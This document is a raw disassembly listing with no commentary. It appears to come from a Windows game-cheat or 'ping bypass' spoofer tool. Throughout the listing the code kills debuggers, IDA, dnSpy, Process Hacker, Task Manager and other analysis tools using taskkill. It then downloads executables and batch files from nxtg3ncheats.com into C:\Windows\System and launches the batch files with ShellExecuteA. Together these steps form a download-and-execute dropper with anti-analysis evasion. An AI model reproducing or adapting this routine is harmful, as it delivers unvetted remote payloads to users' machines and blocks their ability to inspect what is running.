lea rcx, [rbp + 0x60]
call fcn.1400777a0
mov dword [rsi + 0x20c], 0xffffffff
jmp 0x140087119
movdqa xmm0, xmmword [0x140384df0]
movdqu xmmword [rbp - 0x20], xmm0
mov dword [rbp - 0x10], 0xd8c8d8df
mov dword [rbp - 0xc], 0x1009eda
lea rcx, [rbp - 0x20]
call fcn.14008e7d0
mov rdx, rax
mov rcx, rsi
call fcn.140077800
lea rcx, [rbp + 0x60]
call fcn.1400777a0
mov dword [rsi + 0x20c], r13d
lea rcx, [rbp + 0x20]
call fcn.14008f8f0
mov eax, dword [rsi + 0x20c]
cmp eax, 6
jne 0x14008c2c0
mov rcx, rsi
call fcn.14008e5d0
call fcn.1400db810
call fcn.1400db810
mov r8b, 1
mov edx, 0x56
lea rcx, str._________200_PING_BYPASS___IN_GAME_BYPASS
call fcn.140085d00
call fcn.1400db860
movss xmm6, dword [0x1403849cc]
movaps xmm2, xmm6
movss xmm1, dword [0x140384a38]
lea rcx, [rbp - 0x40]
call fcn.140078e00
mov rdx, rax
lea rcx, str.BYPASS_200_PING
call fcn.1400da5b0
xor ecx, ecx
call fcn.1400abf50
test al, al
je 0x14008b731
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_x64dbg
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_x32dbg
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ollydbg
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_fiddler
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_die
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
lea rdx, str.http:__nxtg3ncheats.com_download_ADVACNEDAIO_UNDETECTEDADVACNEDMULTIWOOFERV2AIO_volumeid64.exe
lea rcx, [rbp + 0x20]
call fcn.140077890
nop
lea rdx, [0x14037a2e0]
lea rcx, [rbp - 0x20]
call fcn.140077890
nop
lea rcx, [rbp - 0x20]
call fcn.140077790
mov rbx, rax
lea rcx, [rbp + 0x20]
call fcn.140077790
mov qword [rsp + 0x20], r13
xor r9d, r9d
mov r8, rbx
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
lea rdx, str.http:__nxtg3ncheats.com_download_ADVACNEDAIO_UNDETECTEDADVACNEDMULTIWOOFERV2AIO_loading.bat
lea rcx, [rbp + 0x60]
call fcn.140077890
nop
lea rdx, str.C:WindowsSystemloading.bat
lea rcx, [rbp + 0x7c0]
call fcn.140077890
nop
lea rcx, [rbp + 0x7c0]
call fcn.140077790
mov rbx, rax
lea rcx, [rbp + 0x60]
call fcn.140077790
mov qword [rsp + 0x20], r13
xor r9d, r9d
mov r8, rbx
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
mov dword [rsp + 0x28], r13d
mov qword [rsp + 0x20], r13
xor r9d, r9d
lea r8, str.C:WindowsSystemloading.bat
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
lea rdx, str.http:__nxtg3ncheats.com_download_WORKINMULTISPOOFERADVACNEDV2_UNDETECTED_WORKING_TRYNACRACKUNDETECTEDMULTSPOOFERV2TRYME_AMIDEWINx64.EXE
lea rcx, [rbp + 0x7a0]
call fcn.140077890
nop
lea rdx, [0x14037a428]
lea rcx, [rbp + 0x780]
call fcn.140077890
nop
lea rcx, [rbp + 0x780]
call fcn.140077790
mov rbx, rax
lea rcx, [rbp + 0x7a0]
call fcn.140077790
mov qword [rsp + 0x20], r13
xor r9d, r9d
mov r8, rbx
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
lea rdx, str.http:__nxtg3ncheats.com_download_WORKINMULTISPOOFERADVACNEDV2_UNDETECTED_WORKING_TRYNACRACKUNDETECTEDMULTSPOOFERV2TRYME_volumeid64.exe
lea rcx, [rbp + 0x40]
call fcn.140077890
nop
lea rdx, [0x14037a2e0]
lea rcx, [rbp + 0x80]
call fcn.140077890
nop
lea rcx, [rbp - 0x20]
call fcn.140077790
mov rbx, rax
lea rcx, [rbp + 0x20]
call fcn.140077790
mov qword [rsp + 0x20], r13
xor r9d, r9d
mov r8, rbx
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_x64dbg
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_x32dbg
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ollydbg
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_fiddler
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_die
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
lea rdx, str.http:__nxtg3ncheats.com_download_WORKINMULTISPOOFERADVACNEDV2_UNDETECTED_WORKING_TRYNACRACKUNDETECTEDMULTSPOOFERV2TRYME_FAKEBATCHFILETOREPLACE.bat
lea rcx, [rbp + 0x760]
call fcn.140077890
nop
lea rdx, str.C:WindowsSystemFAKEBATCHFILETOREPLACE.bat
lea rcx, [rbp + 0x740]
call fcn.140077890
nop
lea rcx, [rbp + 0x740]
call fcn.140077790
mov rbx, rax
lea rcx, [rbp + 0x760]
call fcn.140077790
mov qword [rsp + 0x20], r13
xor r9d, r9d
mov r8, rbx
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
mov dword [rsp + 0x28], r13d
mov qword [rsp + 0x20], r13
xor r9d, r9d
lea r8, str.C:WindowsSystemFAKEBATCHFILETOREPLACE.bat
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
lea rdx, str.http:__nxtg3ncheats.com_download_WORKINMULTISPOOFERADVACNEDV2_UNDETECTED_WORKING_TRYNACRACKUNDETECTEDMULTSPOOFERV2TRYME_F4KEB4TCHFILETOR3PLAC3.bat
lea rcx, [rbp + 0x720]
call fcn.140077890
nop
lea rdx, str.C:WindowsSystemF4KEB4TCHFILETOR3PLAC3.bat
lea rcx, [rbp + 0x700]
call fcn.140077890
nop
lea rcx, [rbp + 0x700]
call fcn.140077790
mov rbx, rax
lea rcx, [rbp + 0x720]
call fcn.140077790
mov qword [rsp + 0x20], r13
xor r9d, r9d
mov r8, rbx
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
mov dword [rsp + 0x28], r13d
mov qword [rsp + 0x20], r13
xor r9d, r9d
lea r8, str.C:WindowsSystemF4KEB4TCHFILETOR3PLAC3.bat
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
lea rdx, str.http:__nxtg3ncheats.com_download_WORKINMULTISPOOFERADVACNEDV2_UNDETECTED_WORKING_TRYNACRACKUNDETECTEDMULTSPOOFERV2TRYME_FAK3BATCHFAK3FILETOREPLAC3.bat
lea rcx, [rbp + 0x6e0]
call fcn.140077890
nop
lea rdx, str.C:WindowsSystemFAK3BATCHFAK3FILETOREPLAC3.bat
lea rcx, [rbp + 0x6c0]
call fcn.140077890
nop
lea rcx, [rbp + 0x6c0]
call fcn.140077790
mov rbx, rax
lea rcx, [rbp + 0x6e0]
call fcn.140077790
mov qword [rsp + 0x20], r13
xor r9d, r9d
mov r8, rbx
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
mov dword [rsp + 0x28], r13d
mov qword [rsp + 0x20], r13
xor r9d, r9d
lea r8, str.C:WindowsSystemFAK3BATCHFAK3FILETOREPLAC3.bat
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
lea rdx, str.http:__nxtg3ncheats.com_download_WORKINMULTISPOOFERADVACNEDV2_UNDETECTED_WORKING_TRYNACRACKUNDETECTEDMULTSPOOFERV2TRYME_FAK3BATCHFAK3FILETOREPLACR.bat
lea rcx, [rbp + 0x6a0]
call fcn.140077890
nop
lea rdx, str.C:WindowsSystemFAK3BATCHFAK3FILETOREPLACR.bat
lea rcx, [rbp + 0x680]
call fcn.140077890
nop
lea rcx, [rbp + 0x680]
call fcn.140077790
mov rbx, rax
lea rcx, [rbp + 0x6a0]
call fcn.140077790
mov qword [rsp + 0x20], r13
xor r9d, r9d
mov r8, rbx
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
mov dword [rsp + 0x28], r13d
mov qword [rsp + 0x20], r13
xor r9d, r9d
lea r8, str.C:WindowsSystemFAK3BATCHFAK3FILETOREPLACR.bat
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_x64dbg
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_x32dbg
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ollydbg
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_fiddler
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_die
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
lea rdx, str.http:__nxtg3ncheats.com_download_WORKINMULTISPOOFERADVACNEDV2_UNDETECTED_WORKING_TRYNACRACKUNDETECTEDMULTSPOOFERV2TRYME_FAK3BATCHFAK3FILETOREPLACRR.bat
lea rcx, [rbp + 0x660]
call fcn.140077890
nop
lea rdx, str.C:WindowsSystemFAK3BATCHFAK3FILETOREPLACRR.bat
lea rcx, [rbp + 0x640]
call fcn.140077890
nop
lea rcx, [rbp + 0x640]
call fcn.140077790
mov rbx, rax
lea rcx, [rbp + 0x660]
call fcn.140077790
mov qword [rsp + 0x20], r13
xor r9d, r9d
mov r8, rbx
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
mov dword [rsp + 0x28], r13d
mov qword [rsp + 0x20], r13
xor r9d, r9d
lea r8, str.C:WindowsSystemFAK3BATCHFAK3FILETOREPLACRR.bat
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
lea rdx, str.http:__nxtg3ncheats.com_download_WORKINMULTISPOOFERADVACNEDV2_UNDETECTED_WORKING_TRYNACRACKUNDETECTEDMULTSPOOFERV2TRYME_FAK3BATCHFAK3FILETOREPLACRR4.bat
lea rcx, [rbp + 0x620]
call fcn.140077890
nop
lea rdx, str.C:WindowsSystemFAK3BATCHFAK3FILETOREPLACRR4.bat
lea rcx, [rbp + 0x600]
call fcn.140077890
nop
lea rcx, [rbp + 0x600]
call fcn.140077790
mov rbx, rax
lea rcx, [rbp + 0x620]
call fcn.140077790
mov qword [rsp + 0x20], r13
xor r9d, r9d
mov r8, rbx
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
mov dword [rsp + 0x28], r13d
mov qword [rsp + 0x20], r13
xor r9d, r9d
lea r8, str.C:WindowsSystemFAK3BATCHFAK3FILETOREPLACRR4.bat
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
lea rdx, str.http:__nxtg3ncheats.com_download_WORKINMULTISPOOFERADVACNEDV2_UNDETECTED_WORKING_TRYNACRACKUNDETECTEDMULTSPOOFERV2TRYME_FAK3BATCHFILETOREPLAC3.bat
lea rcx, [rbp + 0x5e0]
call fcn.140077890
nop
lea rdx, str.C:WindowsSystemFAK3BATCHFILETOREPLAC3.bat
lea rcx, [rbp + 0x5c0]
call fcn.140077890
nop
lea rcx, [rbp + 0x5c0]
call fcn.140077790
mov rbx, rax
lea rcx, [rbp + 0x5e0]
call fcn.140077790
mov qword [rsp + 0x20], r13
xor r9d, r9d
mov r8, rbx
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
mov dword [rsp + 0x28], r13d
mov qword [rsp + 0x20], r13
xor r9d, r9d
lea r8, str.C:WindowsSystemFAK3BATCHFILETOREPLAC3.bat
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
lea rdx, str.http:__nxtg3ncheats.com_download_WORKINMULTISPOOFERADVACNEDV2_UNDETECTED_WORKING_TRYNACRACKUNDETECTEDMULTSPOOFERV2TRYME_FAKEBATCHFILETOREPLACE.bat
lea rcx, [rbp + 0x5a0]
call fcn.140077890
nop
lea rdx, str.C:WindowsSystemFAKEBATCHFILETOREPLACE.bat
lea rcx, [rbp + 0x580]
call fcn.140077890
nop
lea rcx, [rbp + 0x580]
call fcn.140077790
mov rbx, rax
lea rcx, [rbp + 0x5a0]
call fcn.140077790
mov qword [rsp + 0x20], r13
xor r9d, r9d
mov r8, rbx
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
mov dword [rsp + 0x28], r13d
mov qword [rsp + 0x20], r13
xor r9d, r9d
lea r8, str.C:WindowsSystemFAKEBATCHFILETOREPLACE.bat
